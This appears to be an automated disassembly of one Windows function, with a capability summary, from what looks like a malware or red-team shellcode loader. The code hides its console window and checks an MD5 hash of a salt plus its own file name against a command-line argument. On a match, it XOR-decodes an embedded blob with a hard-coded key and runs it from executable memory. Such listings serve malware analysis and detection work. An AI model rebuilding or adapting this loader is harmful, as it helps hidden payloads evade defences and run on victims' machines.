Function at 0x4011c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data via wincrypt
Hash data with md5
Hide graphical window
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402601
mov eax, dword fs:[0]
push eax
sub esp, 0x1a8
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 8], 2
jge 0x4011fb
or eax, 0xffffffff
jmp 0x401700
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.your_salt
lea ecx, [ebp - 0x19c]
call fcn.00401780
push 0x104
lea eax, [ebp - 0x148]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [ebp - 0x184]
call fcn.00401780
mov byte [ebp - 4], 1
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x174]
sub eax, ecx
mov edx, dword [ebp - 0x18c]
cmp eax, edx
jb 0x40171b
cmp dword [ebp - 0x170], 0x10
lea eax, [ebp - 0x184]
lea esi, [ebp - 0x19c]
mov dword [ebp - 0x1a4], 0
cmovae eax, dword [ebp - 0x184]
lea edi, [ebp - 0x1b4]
cmp dword [ebp - 0x188], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x154], eax
cmovae esi, dword [ebp - 0x19c]
add edx, ecx
mov dword [ebp - 0x150], esi
mov esi, 0xf
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x14c], edx
movups xmmword [ebp - 0x1b4], xmm0
cmp edx, esi
jbe 0x401368
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x40131c
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.004019bb
add esp, 4
test eax, eax
je 0x40151f
mov ecx, dword [ebp - 0x174]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x14c]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x40135c
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x40133d
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401720
jmp 0x4012f4
test eax, eax
je 0x40135a
push eax
call fcn.004019bb
mov ecx, dword [ebp - 0x174]
add esp, 4
mov edx, dword [ebp - 0x14c]
mov edi, eax
jmp 0x40135c
xor edi, edi
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x1b4], edi
push ecx
push eax
push edi
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x1a0], esi
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x18c]
mov eax, dword [ebp - 0x174]
push dword [ebp - 0x150]
add eax, edi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x14c]
add esp, 0x18
mov byte [edi + eax], 0
push 0xf0000000
push 1
push 0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x150]
push 0
push eax
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x154], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4013eb
push 0x4031d8
jmp 0x4014e4
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0x150]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
test eax, eax
jne 0x401423
push dword [ebp - 0x150]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x4031d8
jmp 0x4014e4
cmp dword [ebp - 0x1a0], 0x10
lea eax, [ebp - 0x1b4]
push dword [ebp - 0x1a4]
cmovae eax, dword [ebp - 0x1b4]
push eax
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
test eax, eax
jne 0x40146f
push dword [ebp - 0x150]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0x4031d8
jmp 0x4014e4
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x40148f
push eax
jmp 0x401450
xor esi, esi
cmp dword [ebp - 0x154], esi
jbe 0x4014c2
lea edi, [ebp - 0x44]
nop dword [eax]
movzx eax, byte [ebp + esi - 0x20]
push eax
push str._02x
push 3
push edi
call fcn.00401010
inc esi
add esp, 0x10
add edi, 2
cmp esi, dword [ebp - 0x154]
jb 0x4014a0
push 0
push dword [ebp - 0x150]
mov byte [ebp - 0x24], 0
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00401780
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x40152f
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401525
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401525
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004019eb
add esp, 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1a0], 0xf
mov byte [ebp - 0x1b4], 0
mov edx, dword [eax + 4]
mov esi, edx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401555
mov edi, dword [ebp - 0x15c]
sub esi, ecx
cmp dword [ebp - 0x158], 0x10
lea ecx, [ebp - 0x16c]
cmovae ecx, dword [ebp - 0x16c]
cmp edi, esi
jne 0x40164d
sub edi, 4
jb 0x401596
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40159b
add ecx, 4
add edx, 4
sub edi, 4
jae 0x401585
cmp edi, 0xfffffffc
je 0x4015cf
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4015c8
cmp edi, 0xfffffffd
je 0x4015cf
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4015c8
cmp edi, 0xfffffffe
je 0x4015cf
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4015c8
cmp edi, 0xffffffff
je 0x4015cf
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4015cf
sbb eax, eax
or eax, 1
jmp 0x4015d1
xor eax, eax
test eax, eax
jne 0x40164d
mov esi, 1
xor ecx, ecx
sub esi, 0x405018
mov edi, 0xa
xor edx, edx
mov eax, ecx
div edi
movzx eax, byte [edx + str.AAA_123999]
xor edx, edx
xor byte [ecx + 0x405018], al
lea eax, [esi + 0x405018]
add eax, ecx
div edi
movzx eax, byte [edx + str.AAA_123999]
xor byte [ecx + 0x405019], al
add ecx, 2
cmp ecx, 0x3400a
jb 0x4015e7
push 0x40
push 0x1000
push 0x3400a
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x3400a
mov esi, eax
push 0x405018
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call esi
xor esi, esi
jmp 0x401650
or esi, 0xffffffff
mov eax, dword [ebp - 0x158]
cmp eax, 0x10
jb 0x401688
mov edx, dword [ebp - 0x16c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40167e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016ee
push ecx
push edx
call fcn.004019eb
add esp, 8
mov eax, dword [ebp - 0x170]
cmp eax, 0x10
jb 0x4016c0
mov edx, dword [ebp - 0x184]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4016b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016ee
push ecx
push edx
call fcn.004019eb
add esp, 8
mov eax, dword [ebp - 0x188]
cmp eax, 0x10
jb 0x4016fe
mov edx, dword [ebp - 0x19c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4016f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4016f4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004019eb
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040188b
mov esp, ebp
pop ebp
ret
call fcn.004011b0
call fcn.00401110
int3